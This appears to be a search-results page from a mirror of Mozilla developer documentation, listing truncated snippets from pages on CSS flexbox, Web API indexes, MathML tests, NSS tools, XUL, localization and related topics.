Using device orientation with 3D transforms - Developer guides
using orientation to rotate an element the easiest way to convert orientation data to a 3d transform is basically to use the alpha, gamma, and beta values as rotatez, rotatex and rotatey values. ...
Weak signature algorithms - Web security
the strength of the hash algorithm used in signing a digital certificate is a critical element of the security of the certificate. this article provides some information about signature algorithms known to be weak, so you can avoid them when appropriate. weaknesses in hash algorithms can lead to situations in which attackers can create or obtain fraudulent certificates. as new attacks are found and improvements in available technology make attacks more feasible, the use of older algorithms is discouraged and support for them is eventually removed. sha-1 sha-1 certificates will no longer be treated as secure by major browser manufacturers beginning in 2017. certificates employing more secure hash algorithms (such as sha-256 or sha-512) should be used instead. md5 support for md5 ...
Index - Web APIs
Web › API › Index
the abortcontroller() constructor creates a new abortcontroller object instance. 8 abortcontroller.abort() api, abortcontroller, experimental, fetch, method, reference, abort() the abort() method of the abortcontroller interface aborts a dom request (e.g. a fetch request) before it has completed. this is able to abort fetch requests, consumption of any response body, and streams. 9 abortcontroller.signal api, abortcontroller, experimental, fetch, property, reference, signal the signal read-only property of the abortcontroller interface returns an abortsignal object instance, which can be used to communicate with/abort a dom request as desired. 10 abortsignal api, abortsignal, dom, experimental, interface, reference the abortsigna...
...ingcode api, address, addresserrors, error, payment request, payment request api, property, read-only, reference, validation, payment, sortingcode an object based on addresserrors includes a sortingcode property when the address's sortingcode property couldn't be validated. the returned string explains the error and should offer suggestions for how to correct it. ...
...ss, addresserrors, error, payment request, payment request api, property, read-only, reference, validation, payment, sortingcode an object based on addresserrors includes a sortingcode property when the address's sortingcode property couldn't be validated. the returned string explains the error and should offer suggestions for how to correct it. ...
...And 641 more matches
Index - Archive of obsolete content
perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. or for "reasons," your company is required to use very old software and you need to build web content that runs on that software. ...
...41 addon-page add-on sdk, add-ons, extensions, obsolete, reference create a page that does not contain navigational elements. 42 base64 add-on sdk no summary! 43 clipboard add-on sdk interact with the system clipboard, setting and getting its contents. 44 context-menu add-on sdk, add-ons, extensions, firefox, sdk adds items, submenus, and menu separators to the page's context menu. 45 hotkeys add-on sdk assign hotkey combinations to functions in your add-on. 46 indexed-db add-on sdk exposes the indexeddb api to add-ons. 47 l10n add-on sdk localize strings appearing in the add-on's javascript code. 48 notifications add-on sdk, notifications...
...t events. 84 frame/hidden-frame creates firefox frames (i.e. xul <iframe> elements) that are not displayed to the user. 85 frame/utils provides helper functions for working with platform internals like frames and browsers. 86 fs/path provides access to the local filesystem with the nodejs path module api. 87 io/byte-streams provides streams for reading and writing bytes. 88 io/file provides access to the local filesystem. 89 io/text-streams provides streams for reading and writing text. 90 lang/functional functional helper methods. 91 lang/type functions for working with type detection. 92 loader/cuddlefish ...
...And 188 more matches
MathML Torture Test
xits</option> </select> <br/> </p> <table> <tr> <td></td> <th scope="col">as rendered by tex</th> <th scope="col">as rendered by your browser</th></tr> <tr> <td>1</td> <td><img src="https://udn.realityripple.com/samples/45/d5a0dbbca3.png" width="38" height="22" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <mrow> <msup> <mi>x</mi> <mn>2</mn> </msup> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> </math> </td></tr> <tr> <td>2</td> <td><img src="https://udn.realityripple.com/samples/b8/da4a50ea34.png" width="30" height="17" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <!-- ...
... <mn>2</mn> </msup> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> </math> </td></tr> <tr> <td>2</td> <td><img src="https://udn.realityripple.com/samples/b8/da4a50ea34.png" width="30" height="17" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <!-- <mrow> <msub><mi></mi><mn>2</mn></msub> <msub><mi>f</mi><mn>3</mn></msub> </mrow> --> <mrow> <mmultiscripts> <mi>f</mi> <mn>3</mn><none/> <mprescripts/> <mn>2</mn><none/> </mmultiscripts> </mrow> </math> </td></tr> <tr> <td>3</td> <td><img src="https://udn.realityripple...
... <mn>2</mn><none/> </mmultiscripts> </mrow> </math> </td></tr> <tr> <td>3</td> <td><img src="https://udn.realityripple.com/samples/8a/1d0e6e073c.png" width="58" height="47" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> <mfrac> <mrow> <mi>x</mi> <mo>+</mo> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> <mrow> <mi>k</mi> <mo>+</mo> <mn>1</mn> </mrow> </mfrac> </mrow> </math> </td></tr> <tr> <td>4</td> <td><img src="https://udn.realityripple.com/samples/a7/27acbeabcf.png" width="76" height="25" alt=...
...And 149 more matches
Index
Mozilla › Tech › XPCOM › Index
xpcom components to be used and implemented in javascript, java, and python in addition to c++. 2 accessing the windows registry using xpcom add-ons, code snippets, extensions, needsclassification, windows registry when implementing windows-specific functionality, it is often useful to access the windows registry for information about the environment or other installed programs. to this end, there exist xpcom interfaces to read and write registry data. this article will show you how to use the available interfaces in several mozilla products. 3 aggregating the in-memory datasource rdf no summary! 4 binary compatibility xpcom if mozilla decides to upgrade to a compiler that does not have the same abi as the current version, any b...
...nager is a convenience reflection of the global native component manager service. the scriptable methods on the nsicomponentmanager interface can be called directly on this object. 27 components.results xpcom:language bindings, xpconnect components.results is a read-only object whose properties are the names listed as the first parameters of the macros in js/xpconnect/src/xpc.msg (also at table of errors), with the value of each corresponding to that constant's value. 28 components.returncode xpcom:language bindings, xpconnect no summary! 29 components.stack xpcom:language bindings, xpconnect components.stack is a read only property of type nsistackframe (idl definition) that represents a snapshot of the current javascript callst...
...both firefox 2 and firefox 3, even if the interfaces have changed in the interim. 92 working with out parameters add-ons, extensions, xpcom:language bindings, xpconnect no summary! 93 xpcom abi xpcom xpcom abi is the binary interface of xpcom components. while xpcom components written in a scripting language (such as javascript) can be moved across platforms (such as windows and os x) without adaptation, those written in a compiled language (such as c++) require recompilation when moving to a different platform. often, compiled xpcom components are called 'binary' or 'native'. 94 xpcom thread synchronization thread_synchronization, threads, xpcom xpcom thread synchronization primitives have the same semantics as those in nspr, an...
...And 107 more matches
HTML documentation index - HTML: Hypertext Markup Language
Web › HTML › Index
ge that can't be used until the login process has been completed. 18 id global attributes, html, reference, web, id the id global attribute defines an identifier (id) which must be unique in the whole document. its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with css). 19 inputmode attribute, editing, forms, global attributes, html, input, reference, text, web, contenteditable, global, inputmode, text input the inputmode global attribute is an enumerated attribute that hints at the type of data that might be entered by the user while editing the element or its contents. 20 is global attributes, html, reference, is the is global attribute allows you to specify that a standa...
...que, global identifier of an item. 22 itemprop attribute, global attribute, html, html microdata, microdata, reference the itemprop global attribute is used to add properties to an item. every html element can have an itemprop attribute specified, and an itemprop consists of a name-value pair. ...
...e or more properties forms an item. property values are either a string or a url and can be associated with a very wide range of elements including <audio>, <embed>, <iframe>, <img>, <link>, <object>, <source> , <track>, and <video>. 23 itemref attribute, global attribute, html, html microdata, microdata, reference properties that are not descendants of an element with the itemscope attribute can be associated with an item using the global attribute itemref. 24 itemscope attribute, global attribute, html, html microdata, microdata, reference itemscope is a boolean global attribute that defines the scope of associated metadata. ...
...And 62 more matches
Index - Learn web development
2 accessibility aria, accessibility, articles, beginner, css, codingscripting, html, javascript, landing, learn, module learning some html, css, and javascript is useful if you want to become a web developer. ...
... 6 test your skills: css and javascript accessibility accessibility, assessment, beginner, html, jaavscript, learn, test your skills this aim of this skill test is to assess whether you've understood our css and javascript accessibility best practices article. 7 html: a good basis for accessibility at, accessibility, article, beginner, buttons, codingscripting, forms, html, learn, links, a11y, assistive technology, keyboard, screenreader, semantics you should now be well-versed in writing accessible html for most occasions. our wai-aria basics article will help to fill gaps in this knowledge, but this article has taken care of the basics. next up we'll explore css and javascript, and how accessibility is affected by their good or bad use. 8 m...
...egardless of disability, technical constraints, culture, location, and so on. 16 how do i start to design my website? beginner, composing, needsactivelearning, needsschema when starting with a web project, many people focus on the technical side. of course you must be familiar with the technique of your craft, but what really matters is what you want to accomplish. yes, it seems obvious, but too many projects fail not from a lack of technical know-how, but from lack of goals and vision. 17 how do i use github pages? beginner, github, guide, web, gh-pages, git, publish github is a "social coding" site. it allows you to upload code repositories for storage in the git version control system. you can then collaborate on code projects, and the system is o...
...And 58 more matches
Index
cs #5, pkcs #7, pkcs #11, pkcs #12, s/mime, x.509 v3 certificates, and other security standards. ...
...illa.org projects traditionally used its own implementation of security protocols and cryptographic algorithms, originally called netscape security services, nowadays called network security services (nss). nss is a library written in the c programming language. it's free and open source software, and many other software projects have decided to use it. in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming. nss offers lots of functionality; we'll walk through the list of modules, design principles, and import...
...tion programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming. nss offers lots of functionality; we'll walk through the list of modules, design principles, and important relevant standards. in order to allow interoperability between software and devices that perform cryptographic operations, nss conforms to a standard called pkcs#11. (note that it's important to look at the number 11, as there are other pkcs standards with different numbers that define quite different topics.) a software or hardware module conforming to the pkcs#11 standard implements an interface of c calls, which allow querying the characteristics and offered services of the module. multiple elements of nss's own modules hav...
...And 58 more matches
Implementation Status - Archive of obsolete content
3. ...
...3. ...
...3. ...
...And 42 more matches
Mail composition back end
warning: the content of this article may be out of date. it was imported from mozilla.org and last updated in 2000. by richard h. pizzarro <rhp@netscape.com> contents overview sending messages nsimsgsend sending listener interfaces nsimsgsendlistener nsimsgcopyservicelistener copy operations copy to sent folder drafts templates "send later" sending unsent messages sending unsent messages listener quoting sample programs overview i've done considerable work in the past few weeks reorganizing the mail composition back end, so i thought it would be helpful to put together a small doc on the new interfaces and how one can use them. the mail composition back end is responsible for the assembly and creation ...
...ow for developers to write javascript to take advantage of the back end services. also, i will talk about some features though they may not be complete as of yet. i will try to make comments for these exceptions. sending messages the primary responsibility of the back end is for the creation and sending of rfc822 messages. ...
... back end services. also, i will talk about some features though they may not be complete as of yet. i will try to make comments for these exceptions. sending messages the primary responsibility of the back end is for the creation and sending of rfc822 messages. the interface that accomplishes this task is the nsimsgsend interface. the feedback mechanism is provided by a nsimsgsendlistener which is implemented by the caller. the caller has the ability to add or remove listener interfaces to the nsimsgsend object and the interface can support multiple listeners. (for detailed information on the listener interfaces, see the listener interfaces section of this document) nsimsgsend the following describes the methods of the nsimsgsend interface. all ...
...And 39 more matches
CSS - Archive of obsolete content
Archive › Web › CSS
e its size so that all of its child elements are completely visible. for example, moving a child of the stack far to the right will widen the stack so the child remains visible.-moz-text-blinkthe -moz-text-blink non-standard mozilla css extension specifies the blink mode.-moz-window-shadowthe -moz-window-shadow css property specifies whether a window will have a shadow. ...
...all of its child elements are completely visible. for example, moving a child of the stack far to the right will widen the stack so the child remains visible.-moz-text-blinkthe -moz-text-blink non-standard mozilla css extension specifies the blink mode.-moz-window-shadowthe -moz-window-shadow css property specifies whether a window will have a shadow. ...
...ns visible.-moz-text-blinkthe -moz-text-blink non-standard mozilla css extension specifies the blink mode.-moz-window-shadowthe -moz-window-shadow css property specifies whether a window will have a shadow. ...
...And 36 more matches
Localization and Plurals
you're likely here because you're localizing a .properties file and it had a link to this page. this page is to help explain how to localize these strings so that the correct plural form is shown to the user. for example, "1 page" vs "2 pages". if you're here to make your code (e.g., extensions) localizable for plural forms, you can jump straight to developing with pluralform. you may also need to localize the initial strings for your code, so it would be good to read through at least the usage section as well. usage here are a couple terms used in this page to help keep things clear: plural rule: for a given language, there is a grammatical rule on how to change words, depending on the number qualifying the word. different languages can have different rules. plural form: for ...
... so it would be good to read through at least the usage section as well. usage here are a couple terms used in this page to help keep things clear: plural rule: for a given language, there is a grammatical rule on how to change words, depending on the number qualifying the word. different languages can have different rules. plural form: for a particular plural rule, there can be multiple forms of a word, such as "page" and "pages". in this case, there are 2 forms, but other languages can have 1 or many more. if you're here for pluralrule in the chrome/global/intl.properties file, you'll need to figure out what plural rule to choose for your localization. ...
...s. plural form: for a particular plural rule, there can be multiple forms of a word, such as "page" and "pages". in this case, there are 2 forms, but other languages can have 1 or many more. if you're here for pluralrule in the chrome/global/intl.properties file, you'll need to figure out what plural rule to choose for your localization. this plural rule is used to determine how many plural forms are needed for each word that needs to be localized, with plurals in mind. for all other properties files that link to this page, you'll need to provide enough plural forms of the desired word, and separate them with semi-colons (;). ...
...And 30 more matches
Gecko info for Windows accessibility vendors
this faq explains how makers of windows screen readers, voice dictation packages and magnification software can support gecko-based software. the base of our support for these products is msaa (microsoft active accessibility), external readonly dom support, and the keyboard api/user interface. definitions here are some basic definitions that you'll need for this document to make sense: gecko: the rendering engine for firefox, thunderbird, nvu, mozilla seamonkey and other applications. ...
...nitions that you'll need for this document to make sense: gecko: the rendering engine for firefox, thunderbird, nvu, mozilla seamonkey and other applications. gecko is the internal engine that mozilla uses to render any kind of web content. it supports html, xhtml, cascading style sheets (css) and the document object model (dom). ...
...nal engine that mozilla uses to render any kind of web content. it supports html, xhtml, cascading style sheets (css) and the document object model (dom). microsoft active accessibility (msaa) an api devised by microsoft so that accessibility aids can track what's going on inside the user interface of any software package that supports it. if you seriously need to understand msaa, you'll need to read the docs on msdn and play with the sample apps and code that come with msaa sdk 1.3. (i recommend sdk 1.3 because the msaa sdk 2.0 doesn't come with the source code to the testing tools. the other differences are not important). dom: document object model this is the w3c's specification for how web content is exposed to javascript and other languages. ...
...And 27 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
the flexible box module, usually referred to as flexbox, was designed as a one-dimensional layout model, and as a method that could offer space distribution between items in an interface and powerful alignment capabilities. this article gives an outline of the main features of flexbox, which we will be exploring in more detail in the rest of these guides. when we describe flexbox as being one dimensional we are describing the fact that flexbox deals with layout in one dimension at a time — either as a row or as a column. this can be contrasted with the two-dimensional model of css grid layout, which controls columns and rows together. the two axes of flexbox when working with flexbox you need to think in terms of two axes — the main axis and the cross axis. the main axis is defined b...
...he block direction. the cross axis the cross axis runs perpendicular to the main axis, therefore if your flex-direction (main axis) is set to row or row-reverse the cross axis runs down the columns. if your main axis is column or column-reverse then the cross axis runs along the rows. understanding which axis is which is important when we start to look at aligning and justifying flex items; flexbox features properties that align and justify content along one axis or the other. start and end lines another vital area of understanding is how flexbox makes no assumption about the writing mode of the document. in the past, css was heavily weighted towards horizontal and left-to-right writing modes. modern layout methods encompass the range of writing modes and so we no longer assume t...
...will start at the top left of a document and run towards the right hand side, with new lines appearing one under the other. you can read more about the relationship between flexbox and the writing modes specification in a later article; however, the following description should help explain why we do not talk about left and right and top and bottom when we describe the direction that our flex items flow in. if the flex-direction is row and i am working in english, then the start edge of the main axis will be on the left, the end edge on the right. if i were to work in arabic, then the start edge of my main axis would be on the right and the end edge on the left. in both cases the start edge of the cross axis is at the top of the flex container and the end edge at the bottom, as both ...
...And 27 more matches
Choosing the right approach - Learn web development
the interval will be the same regardless of how long the code takes to run. with setinterval(), the interval we choose includes the time taken to execute the code we want to run in. let's say that the code takes 40 milliseconds to run — the interval then ends up being onl...
...to run than the time interval you’ve assigned, it’s better to use recursive settimeout() — this will keep the time interval constant between executions regardless of how long the code takes to execute, and you won't get errors. ...
... full support 4 full support 4 full support 52notes notes setinterval now defined on windoworworkerglobalscope mixin.opera android full support 10.1safari ios full support 1samsung internet android full support 3.0supports parameters for callbackchrome full support yesedge full support 12firefox full support yesie full support 10opera ...
...And 25 more matches
Accessible Toolkit Checklist
these toolkits wrap the widgets implemented by the os with a consistent api for each platform. since the individual widgets predominately come from the operating system, they already implement standard keyboard commands and follow the operating system's visual theme. also, assistive technologies already understand native widgets so it is only necessary to implement microsoft active accessibility (msaa) api support for custom controls. however, be aware that the wrapping layer will introduce accessibility bugs, and thus you will need to test extensively and fill in the holes. you will also need to provide a way for custom and owner drawn controls to easily accessibility api support, as wxwidgets does. there will be custom and owner drawn controls -- there always are. for example, lists of che...
...ts does. there will be custom and owner drawn controls -- there always are. for example, lists of checkboxes are implemented in windows with images of checked and unchecked checkboxes. owner drawn toolkits , like xul and flash's flex ui framework use few or no native widgets. these toolkits need to have accessibility implemented from the ground up, and get nothing for free in terms of keyboard, api or os-theme support. in this case, adding a complete or even a partial accessibility solution is major work, and will require more than one full time person as well as cooperation from windows assistive technology vendors when parts of your msaa solution isn't working. often these kinds of toolkits don't use a separate window for each control; in that case remember to generate a ...
... adding a complete or even a partial accessibility solution is major work, and will require more than one full time person as well as cooperation from windows assistive technology vendors when parts of your msaa solution isn't working. often these kinds of toolkits don't use a separate window for each control; in that case remember to generate a unique 32 bit child id for each control so that the msaa event system can call back for the right iaccessible for each event. the checklist this checklist is currently only for microsoft windows, but should be expanded to include information about linux and os x. it is maintained by the mozilla accessibility community. contributions are welcome. general dialogs/windows/general escape key cancels dialogs and refocuses the previously foc...
...And 24 more matches
WebIDL bindings
webidl type argument type return type dictionary/member type any js::handle<js::value> js::mutablehandle<js::value> js::value boolean bool bool bool byte int8_t int8_t int8_t bytestring const nsacstring& nscstring& (outparam) nsacstring& (outparam) nscstring date mozilla::dom::date domstring const nsastring& mozilla::dom::domstring& (outparam) nsastring& (outparam) nsstring& (outparam) nsstring utf8string const nsacstring& nsacstring& (outparam) nscstring double double double double float float float float interface: non-nullable foo& already_addrefed<foo> foo* owningnonnull<foo> ...
... they will be in the compartment of the passed-in jscontext. any return values become a js::mutablehandle<js::value> out param appended to the argument list. this comes after all idl arguments, but...
...he c++ type of the same name. so float and unrestricted float become a c++ float, while double and unrestricted double become a c++ double. for example, this webidl: interface test { float myattr; double mymethod(unrestricted double? arg); }; will correspond to these c++ function declarations: float myattr(); void setmyattr(float value); double mymethod(const nullable<double>& arg); domstring strings are reflected in three different ways, depending on use: string arguments become const nsastring&. string return values become a mozilla::dom::domstring& out param appended to the argument list. this comes after all idl arguments, but before the errorresult&, if any, for the method. note that this allows callees to declare their methods as taking an nsastring& or nsstring& if de...
...And 24 more matches
Basics
you can also <a href="javascript:unexpand();">unexpand all</a> or <a href="javascript:expand();">expand all</a>. </p> <div> <math display="block"> <mtable> <mtr> <mtd> <mtable align="axi...
...: <a class="control" href="javascript:incrementinput('input12', 1);" title="increase input">+</a> <a class="control" href="javascript:incrementinput('input12',-1);" title="decrease input">-</a> <br/> (click these control buttons to see their effects.) </div> <p> each entry of the following matrix represents <math> <msup><mrow><mo>(</mo><mi>x</mi><mo>+</mo><mi>y</mi><mo>)</mo></mrow><mi>n</mi></msup> </math> for some <i>n</i>. when you left-click any individual entry, it should toggle between its expanded and unexpanded forms. you can also <a href="javascript:unexpand();">unexpand all</a> or <a href="javascript:expand();">expand all</a>. </p> <div> <math display="block"> <mtable> <mtr> <mtd> <mtable align="axis" columnalign="left left left"> <mtr> <mtd> <maction id="a11" actiontype="toggl...
...e <i>n</i>. when you left-click any individual entry, it should toggle between its expanded and unexpanded forms. you can also <a href="javascript:unexpand();">unexpand all</a> or <a href="javascript:expand();">expand all</a>. ...
...And 23 more matches
NSS tools : modutil
Mozilla › Projects › NSS › tools › modutil
ing key databases and certificate databases. options running modutil always requires one (and only one) option to specify the type of module operation. each option may take arguments, anywhere from none to multiple arguments. options -add modulename add the named pkcs #11 module to the database. use this option with the -libfile, -ciphers, and -mechanisms arguments. -changepw tokenname change the password on the named token. if the token has not been initialized, this option initializes the password. use this option with the -pwfile and -newpwfile arguments. a password is equivalent to a personal identification number (pin). -chkfips verify whether the module is in the given fips mod...
...alse means to verify that the module is not in fips mode. -create create new certificate, key, and module databases. use the -dbdir directory argument to specify a directory. if any of these databases already exist in a specified directory, modutil returns an error message. -default modulename specify the security mechanisms for which the named module will be a default provider. the security mechanisms are specified with the -mechanisms argument. -delete modulename delete the named module. the default nss pkcs #11 module cannot be deleted. -disable modulename disable all slots on the named module. use the -slot argument to disable a specific ...
...cmod.db file. specifying a modulename displays detailed information about a particular module and its slots and tokens. -rawadd add the module spec string to the secmod.db database. -rawlist display the module specs for a specified module or for all loadable modules. -undefault modulename specify the security mechanisms for which the named module will not be a default provider. the security mechanisms are specified with the -mechanisms argument. arguments module give the security module to access. modulespec give the security module spec to load into the security database. -ciphers cipher-enable-list enable specific ciphers in a module tha...
...And 23 more matches
Using Objective-C from js-ctypes
.m, and run with the following command, inside the same directory as the saved file (needs xcode). $ clang -framework appkit test.m && ./a.out class, message, and selector our task at hand is to convert objective-c syntax to c syntax. let's look at the following codelet: [nsspeechsynthesizer alloc] it passes an alloc message to the nsspeechsynthesizer class, in objective-c syntax. it performs the following through this objective-c syntax: get the nsspeechsynthesizer class definition. register the alloc selector for the message. send a message to the class, with the selector. get a reference to a class class definitions are retrieved with the objc_getclass function, declared in /usr/include/objc/runtime.h. the objc_getclass function receives the name of the class, looks up the ...
...nst char *str); sel is defined as follows, in /usr/include/objc/objc.h. it's also an opaque type. typedef struct objc_selector *sel; in this example, we need to send alloc, its selector can be retrieved with the following code: sel alloc = sel_registername("alloc"); sending a message once target class and selector are ready, you can send a message. this message can be sent using the objc_msgsend function, and its variants, which are declared in /usr/include/objc/message.h. objc_msgsend function, receives the instance which receives the message, the selector, and variable argument list for the message, returning the returned value from the method. id objc_msgsend(id self, sel op, ...); id is defined as the following, in /usr/include/objc/objc.h, it's also an opaque type. class can...
... id is defined as the following, in /usr/include/objc/objc.h, it's also an opaque type. class can be cast into id, so we can pass class returned by objc_getclass. typedef struct objc_object *id; in this example, we send an alloc message without any arguments using the following code. this code returns an allocated nsspeechsynthesizer instance that has not yet been initialized. ...
...And 23 more matches
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
in addition to the ability to place items accurately onto a created grid, the css grid layout specification contains rules that control what happens when you create a grid and do not place some or all of the child items. you can see auto-placement in action in the simplest of ways by creating a grid on a set of items. if you give the items no placement information they will position themselves on the grid, one in each grid cell. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10...
... sizing...
... sizing rows in the im...
...And 23 more matches
places/bookmarks - Archive of obsolete content
save() and search() are both asynchronous functions: they synchronously return a placesemitter object, which then asynchronously emits events as the operation progresses and completes. ...
... save() and search() are both asynchronous functions: they synchronously return a placesemitter object, which then asynchronously emits events as the operation progresses and completes. ...
... save() and search() are both asynchronous functions: they synchronously return a placesemitter object, which then asynchronously emits events as the operation progresses and completes. ...
...And 22 more matches
Index - Archive of obsolete content
Archive › Mozilla › XUL › Index
h is drawn differently. unlike normal buttons, a statusbarpanel can only have a label or an image but not both. this element is often used with a short label or icon to indicate status, for instance whether the user is online or whether there are new messages. 3 a xul bestiary add-ons, extensions, needstechnicalreview, xul this xulnote presents some of the key concepts and terms in the xul development environment. the purpose of this article is not to describe these items in any great detail but to define what they are in simple terms. i selected items for this group because they seemed to be either shrouded in mystery, misused as concepts or terms, or underestimated according to their role in xul and cross-platform development. in contrast to the mozilla jargon file, th...
...environment. the purpose of this article is not to describe these items in any great detail but to define what they are in simple terms. i selected items for this group because they seemed to be either shrouded in mystery, misused as concepts or terms, or underestimated according to their role in xul and cross-platform development. in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's new technologies -- and in particular mozilla's xml-based user interface language, xul. 4 accessibility/xul accessibility reference accessibility, xul this table is designed to show how to expose text properly for various xul element types. sections in bold are to d...
... hidepopup xul methods, xul reference no summary! 522 increase xul methods, xul reference no summary! 523 increasepage xul methods, xul reference no summary! 524 insertitem xul methods, xul reference the id should match an element in the toolbar's toolbarpalette. ...
...And 22 more matches
Flexbox - Learn web development
this article explains all the fundamentals. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how to use the flexbox layout system to create web layouts. why flexbox? for a long time, the only reliable cross browser-compatible tools available for creating css layouts were things like floats and positioning. ...
...t with, we need to select which elements are to be laid out as flexible boxes. to do this, we set a special value of display on the parent element of the elements you want to affect. in this case we want to lay out the <article> elements, so we set this on the <section>: section { display: flex; } this causes the <section> element to become a flex container, and its children to become flex items. the result of this should be something like so: so, this single declaration gives us everything we need — incredible, right? we have our multiple column layout with equal sized columns, and the columns are all the same height. this is because the default values given to flex items (the children of the flex container) are set up to solve common problems such as this. to be clear, let's reit...
...ight? ...
...And 22 more matches
gettext
to take advantage of this functionality, you need to use a different keyword (i.e. different gettext function name) for string which are supposed to support plurals. for instance, in php the default keyword for regular messages is gettext() and _(). for messages with plural support, the default keyword is ngettext(). ...
...intf() call, which at this point of interpretation looks something like printf("%d user likes this.", $num);. the %d in the first argument (which is the string returned by gettext) will be replaced with the value of $num. for english, the above code will produce the following output: 1 user likes this. the string definition in the messages.po file will look like this: #: file.php:3 #, php-format msgid "%d user likes this." msgid_plural "%d users like this." msgstr[0] "" msgstr[1] "" depending on the localizer's target language and its rules for creating plural forms, there might be another field for translation, e.g. msgstr[2]. gettext will return one of the msgstrs, depending on the number passed to the gettext function in the code ($num in the above example). to determine which form to re...
...lural forms, there might be another field for translation, e.g. msgstr[2]. gettext will return one of the msgstrs, depending on the number passed to the gettext function in the code ($num in the above example). to determine which form to return, gettext uses a plural rule, which should be declared in the po file header. for example, for english, the plural rule is of the following form: plural-forms: nplurals=2; plural=n != 1; the first part defines the number of different plural forms (2). the second part is evaluated and the result of the evaluation is used to choose the right msgstr. in the rule above, if n equals 1, the expression is evaluated to false, or 0, so msgstr[0] will be used. ...
...And 22 more matches
NSS tools : modutil
s that typically also involves managing key databases and certificate databases. options running modutil always requires one (and only one) option to specify the type of module operation. each option may take arguments, anywhere from none to multiple arguments. options -add modulename add the named pkcs #11 module to the database. use this option with the -libfile, -ciphers, and -mechanisms arguments. -changepw tokenname change the password on the named token. if the token has not been initialized, this option initializes the password. use this option with the -pwfile and -newpwfile arguments. a password is equivalent to a personal identification number (pin). -chkfips verify whether the module is in the given fips mode. true means to verify that the module is in fips mode, ...
...mode. true means to verify that the module is in fips mode, while false means to verify that the module is not in fips mode. -create create new certificate, key, and module databases. use the -dbdir directory argument to specify a directory. if any of these databases already exist in a specified directory, modutil returns an error message. -default modulename specify the security mechanisms for which the named module will be a default provider. the security mechanisms are specified with the -mechanisms argument. -delete modulename delete the named module. the default nss pkcs #11 module cannot be deleted. -disable modulename disable all slots on the named module. use the -slot argument to disable a specific slot. the internal nss pkcs #11 module cannot be disabled. -enable...
...ist [modulename] display basic information about the contents of the secmod.db file. specifying a modulename displays detailed information about a particular module and its slots and tokens. -rawadd add the module spec string to the secmod.db database. -rawlist display the module specs for a specified module or for all loadable modules. -undefault modulename specify the security mechanisms for which the named module will not be a default provider. the security mechanisms are specified with the -mechanisms argument. arguments module give the security module to access. modulespec give the security module spec to load into the security database. -ciphers cipher-enable-list enable specific ciphers in a module that is being added to the database. the cipher-enable-list is a co...
...And 22 more matches
Selection API - Web APIs
now outdated. browser compatibility selection the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... opera full support ...
... opera full support ...
...And 22 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
instead, you will need to use a css pre-processor to make the most of the following. however, css pre-processors simply generate valid css, so the...
...box containers using the display property's flex value causes an element to generate a block-level flex container box. the inline-flex value causes an element to generate an inline-level flex container box. ...
... values: row (default) | row-reverse | column | column-reverse spec: https://dr...
...And 22 more matches
Menu - Archive of obsolete content
Archive › Mozilla › Jetpack › UI › Menu
still under development, the api currently lives in the future and must be imported before it is used: jetpack.future.import("menu"); menus all menus in jetpack are jetpack.menu objects, including both built-in firefox menus and menus that features create. to create a new menu, use one of the jetpack.menu constructors below. constructors jetpack.menu() creates an empty menu. jetpack.menu(menuitems) creates a menu with the given items. parameters menuitems an array of menuitems. jetpack.menu(properties) creates a menu with specific properties. parameters properties an object defining any of the properties below. the items property may be used to define an array of menuitems. properties property type description befor...
... context) and otherwise as beforeshow(menu). menu is the menu object to which beforeshow is attached. context is an object describing the context in which the menu was shown. beforeshow may modify the menu, and when the menu is shown, it will reflect the changes. isshowing boolean true if the menu is currently visible and false otherwise. read-only. ...
...u). menu is the menu object to which beforeshow is attached. context is an object describing the context in which the menu was shown. beforeshow may modify the menu, and when the menu is shown, it will reflect the changes. isshowing boolean true if the menu is currently visible and false otherwise. read-only. items array an array of menuitems in the menu. read-only. ...
...And 21 more matches
nsIMessenger
n instance, use: messenger = components.classes["@mozilla.org/messenger;1"] .createinstance(components.interfaces.nsimessenger); in thunderbird, a global nsimessenger object is defined as messenger via the createmessenger function in mailwindow.js. ...
..., use: messenger = components.classes["@mozilla.org/messenger;1"] .createinstance(components.interfaces.nsimessenger); in thunderbird, a global nsimessenger object is defined as messenger via the createmessenger function in mailwindow.js. ...
... void setwindow(in nsidomwindow ptr, in nsimsgwindow msgwindow); void openurl(in acstring aurl); void loadurl(in nsidomwindow ptr, in acstring aurl); void launchexternalurl(in acstring aurl); boolean canundo(); boolean canredo(); unsigned long getundotransactiontype(); unsigned long getredotransactiontype(); void undo(in nsimsgwindow msgwindow); void redo(in nsimsgwindow msgwindow); void sendunsentmessages(in nsimsgidentity aidentity, in nsimsgwindow amsgwindow); void setdocumentcharset(in acstring characterset); void saveas(in acstring auri, in boolean aasfile, in nsimsgidentity aidentity, in astring amsgfilename); void openattachment(in acstring contenttpe, in acstring url...
...And 21 more matches
IDBObjectStore - Web APIs
